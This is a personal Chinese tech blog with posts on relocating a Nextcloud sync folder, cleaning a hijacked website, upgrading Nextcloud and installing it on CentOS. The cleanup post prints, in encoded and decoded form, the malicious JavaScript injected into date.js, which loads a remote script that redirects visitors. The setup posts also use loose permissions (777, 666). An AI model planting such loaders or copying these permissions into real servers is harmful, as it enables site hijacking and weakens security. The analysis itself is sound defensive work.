阿水的世界。

05月 14

更改nextcloud已同步文件夹的本地位置

nextcloud这个软件已经用了好长时间,前段时间设置同步账号的时候直接默认下一步就过去了,但是现在发现文件自动存在了C盘。这几天看着C盘空间马山就满了,琢磨着把同步文件夹换个位置。

但是在软件的基础设置中,没有发现更换同步文件夹位置的选项。怎么办?

根据我的理解,一般都会有一个配置文件,里边应该放了相关的配置内容,现在我试试把这个文件找出来。

先下载好processmonitor,打开定位到nextcloud桌面客户端,然后开始抓信息。

经过查看,发现配置文件是c:\user\用户名\AppData\Roaming\Nextcloud\nextcloud.cfg

其中,Accounts节中列出了同步网址、同步用户名、本地同步路径和本地的同步数据库名称
`[Accounts]
version=2
0\version=1
0\url=https://XXX.XXXX.com:9443
0\dav_user=XXX
0\serverVersion=20.0.2.2
0\webflow_user=XXX
0\authType=webflow
0\user=@Invalid()
0\FoldersWithPlaceholders\1\localPath=C:/Users/yjj/Nextcloud/
0\FoldersWithPlaceholders\1\journalPath=.sync_e90b9cf48026.db
0\FoldersWithPlaceholders\1\targetPath=/
0\FoldersWithPlaceholders\1\paused=false
`
这里边需要修改这个localPath=C:/Users/用户名/Nextcloud/,把C:/Users/用户名/Nextcloud/修改为d:/nextcloud即可,同时需将原来的C:\Users\用户名\Nextcloud下所有文件都复制到D:\Nextcloud

关闭软件,重启电脑,开机试试能不能正常使用,没问题的话,删除C:\Users\用户名\Nextcloud即可。

05月 11

一例挂马清理修复实录

刚刚,朋友发来信息,说他的网站登录后台会跳转到其他网站。我看了下,从手机上的登录后没有发现跳转问题,以为是他的电脑被装了插件。于是远程他的电脑,清理了一下系统,没发现问题,再次登录网站,访问同一个页面的时候还是会跳转,经过浏览器抓包发现页面跳转到了其他网站。
挂马拦截.jpg
判断是网页被挂马了,于是开始查找网页源代码。在访问的固定页面源代码中没发现问题,但是引用了两个文件,一个是<!--#include file="Admin_Common.asp"-->,一个是<script language="JavaScript" type="text/JavaScript" src="../js/date.js"></script>

源码引用了2个文件.jpg

仔细检查了两个文件后,发现date.js文件日期有问题,明显是被修改过了
js脚本被修改.jpg
js脚本内容.jpg
被挂了马并加密具体内容为:

var Uo1 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65']('\x48\x45\x41\x44')['\x69\x74\x65\x6d'](0); var KSFnLmPDG2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']("\x73\x63\x72\x69\x70\x74"); KSFnLmPDG2['\x74\x79\x70\x65'] = "\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74"; KSFnLmPDG2['\x73\x72\x63']="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x2e\x73\x64\x77\x33\x32\x2e\x63\x6f\x6d\x2f\x67\x65\x74\x61\x64\x6d\x69\x6e\x2e\x6a\x73"; Uo1['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64']( KSFnLmPDG2);

是url unicode加密。

继续破解加密内容,在记事本中将\x全部替换为%var Uo1 = window["%64%6f%63%75%6d%65%6e%74"]['%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65']('%48%45%41%44')['%69%74%65%6d'](0); var KSFnLmPDG2= window["%64%6f%63%75%6d%65%6e%74"]['%63%72%65%61%74%65%45%6c%65%6d%65%6e%74']("%73%63%72%69%70%74"); KSFnLmPDG2['%74%79%70%65'] = "%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74"; KSFnLmPDG2['%73%72%63']="%68%74%74%70%3a%2f%2f%73%2e%73%64%77%33%32%2e%63%6f%6d%2f%67%65%74%61%64%6d%69%6e%2e%6a%73"; Uo1['%61%70%70%65%6e%64%43%68%69%6c%64']( KSFnLmPDG2);

利用站长工具urldecode工具(http://tool.chinaz.com/tools/urlencode.aspx)进行解码,得到:

var Uo1 = window["document"]['getElementsByTagName']('HEAD')['item'](0); var KSFnLmPDG2= window["document"]['createElement']("script"); KSFnLmPDG2['type'] = "text/javascript"; KSFnLmPDG2['src']="http://s.sdw32.com/getadmin.js"; Uo1['appendChild']( KSFnLmPDG2);

浏览器访问http://s.sdw32.com/getadmin.js,得到window.location='http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name?ref=' + window.location.href;

继续访问http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name
出现问题跳转的页面,至此解密成功。

修复比较简单,将data.js文件中的挂马内容删除就可以了。

09月 29

nextcloud升级遇到的坑

前段时间发现nextcloud有新版本了,可以升级了。因此,继续开始折腾。
首先,登录后台,进入设置平台,选择概览,就可以看到右侧有升级提醒,我点击了现在下载按钮,但是……无法下载,网站连接不上=—_=|,所以,需要自己下载更新包。
获取下载更新包的地址:

  1. 点击“打开更新器”
  2. 从介绍中找到下载地址,用第三方软件,比如idm或者ndm下载可能速度会快一点
  3. 把压缩包放到你的nextcloud/data/updater-XXXXXXX/downloads中,“用户名-XXXXXXX”这个文件夹应该每个人都不同,需要自己去这个目录里查看。

正式开始更新

  1. 回到更新页面(就是刚才有下载安装包地址的那页
  2. 点击“start update”
    3.完成下边的好多步骤。……………………各种坑呀

首先遇到的坑是:存在一个asset的文件夹,我看了看,里边没有内容,好的,删除

重试,文件检查通过了,文件权限出了问题。需要对根目录下的各种文件有写权限

好的,给根目录下的各种文件进行赋权,660就行。".user.ini"权限不能修改,sudo都不行。百度一下午,怀疑文件被锁定了,用命令chattr -i .user.ini完美解锁,赋权660,搞定。

再试,.user.ini权限还是有问题,重新赋权666,搞定

再试,通过了,开始下载安装包……为什么我原来下载的安装包被删了O_o...为什么要自动重新下载???????

疯掉,继续等待系统自动下载……………………下载完成后再更新

不会下载完了,刚刚提示下载断开了。然后升级页面显示Step 4 is currently in process. Please reload this page later.

继续百度,发现需要找到网站data//updater-XXXXXXX/目录下的隐藏文件.step,将里面的内容由:

{"state":"start","step":4}
修改为:

{"state":"stop","step":5}
修改的内容根据页面显示的步骤加1 即可。

终于,完成正常升级了。

现在,可以正常使用我的云盘了。

PS:隔天登录了系统,又提示需要升级19.0.3
好吧,以上步骤重新再来一遍!@%……@!~@#¥%

04月 20

centos7.3 架设nextcloud

本着折腾至上的原则,新购一台华为云耀vps,安装lnmp1.6,搭个博客,再安个nextcloud。
首先从lnmp官网下载lnmp,然后上传到服务器进行安装,博客安在默认www目录中,一切正常。
然后开始安装nextcloud,遇到了各种坑。
第一步,通过lnmp vhost add添加一个虚拟目录,用于nextcloud。
第二步,解压nextcloud的zip包到虚拟目录中。
第三步,打开安装首页,显示内部服务错误……@#¥%……&U%#¥疯掉,什么错误原因都不显示,只显示内部服务错误,更崩溃的是找不到错误日志。终于,找到一个方案,在虚拟目录中自己添加一个data的文件夹,为了保险,我把权限设为777,好吧,第一个坑解决了,有错误日志了,路径为/home/wwwroot/nextcloud/,日志名称是nextcloud.log,,从里边找到了问题描述Unable to create file /home/wwwroot/nextcloud/config/config.php because Permission denied at /home/wwwroot/nextcloud/lib/private/Config.php#241,看来是权限问题=_=|||
第四步,查找nextcloud各个目录到底需要什么样的权限!@%……&%……¥#@查找无果~~~换个思路,查找问题描述,终于找到几个比较靠谱的,比如这个:解决CentOS中安装Nextcloud出现“内部服务器错误”https://www.orgleaf.com/2891.html。按照这个博文的思路,建立自己的目录权限设置处理文件,随便放到哪个文件夹都行(别放到网站目录下就好^_^),我放在了/root/a.sh

#!/bin/bash
ocpath='/home/wwwroot/nextcloud/'   #修改为你Nextcloud所放置的目录
htuser='www'                #网页服务器用户(查看nginx的配置文件/usr/local/nginx/conf/nginx.conf,查看第一行user www www;  这表示用户是www,用户组是www)
htgroup='www'               #网页服务器的组(查看nginx的配置文件/usr/local/nginx/conf/nginx.conf,查看第一行user www www;  这表示用户是www,用户组是www)
rootuser='root'
 
printf "Creating possible missing Directories\n"
mkdir -p $ocpath/data
mkdir -p $ocpath/assets
mkdir -p $ocpath/updater
 
printf "chmod Files and Directories\n"
find ${ocpath}/ -type f -print0 | xargs -0 chmod 0640
find ${ocpath}/ -type d -print0 | xargs -0 chmod 0750
 
printf "chown Directories\n"
chown -R ${rootuser}:${htgroup} ${ocpath}/
chown -R ${htuser}:${htgroup} ${ocpath}/apps/
chown -R ${htuser}:${htgroup} ${ocpath}/assets/
chown -R ${htuser}:${htgroup} ${ocpath}/config/
chown -R ${htuser}:${htgroup} ${ocpath}/data/
chown -R ${htuser}:${htgroup} ${ocpath}/themes/
chown -R ${htuser}:${htgroup} ${ocpath}/updater/
 
chmod +x ${ocpath}/occ
 
printf "chmod/chown .htaccess\n"
if [ -f ${ocpath}/.htaccess ]
 then
  chmod 0644 ${ocpath}/.htaccess
  chown ${rootuser}:${htgroup} ${ocpath}/.htaccess
fi
if [ -f ${ocpath}/data/.htaccess ]
 then
  chmod 0644 ${ocpath}/data/.htaccess
  chown ${rootuser}:${htgroup} ${ocpath}/data/.htaccess
fi

保存成功后执行,输入sh a.sh运行即可。
刷新页面,终于~~~~页面显示正常了
第五步,根据向导新建用户,输入数据库信息,然后点完成,准备开始使用~~~

然后,巨坑开启了~!@#¥%……U#¥#¥#!@#¥%……(×&……%¥#@

这个地址居然显示404 http://localhost/index.php/apps/files/

彻底要疯掉了,查nextcloud的错误日志,居然什么都没有,看来还没进入nextcloud的流程就出错了,查nginx的访问日志,结果也显示这一页是404

再次开始搜baidu,搜相关的问题,终于发现最可能的情况是因为nginx配置的pathinfo有问题,继续百度,搜到这篇文章:
“nginx配置pathinfo模式,解决访问404”网址:https://www.cnblogs.com/hanshuai0921/p/7304996.html?utm_source=itdadao&utm_medium=referral

参照这篇文章,对/usr/local/nginx/conf/nginx.conf和/usr/local/nginx/conf/vhost/nextcloud.conf下手,修改两个文件中的include enable-php.confinclude enable-php-pathinfo.conf

切换目录到/usr/local/nginx/sbin/,执行./nginx -s reload
再次刷新网页,谢天谢地~~~系统终于显示正常了

至此,安装终于告一段落,开始正式试用了,如果后续有问题我继续补充到后边~~~~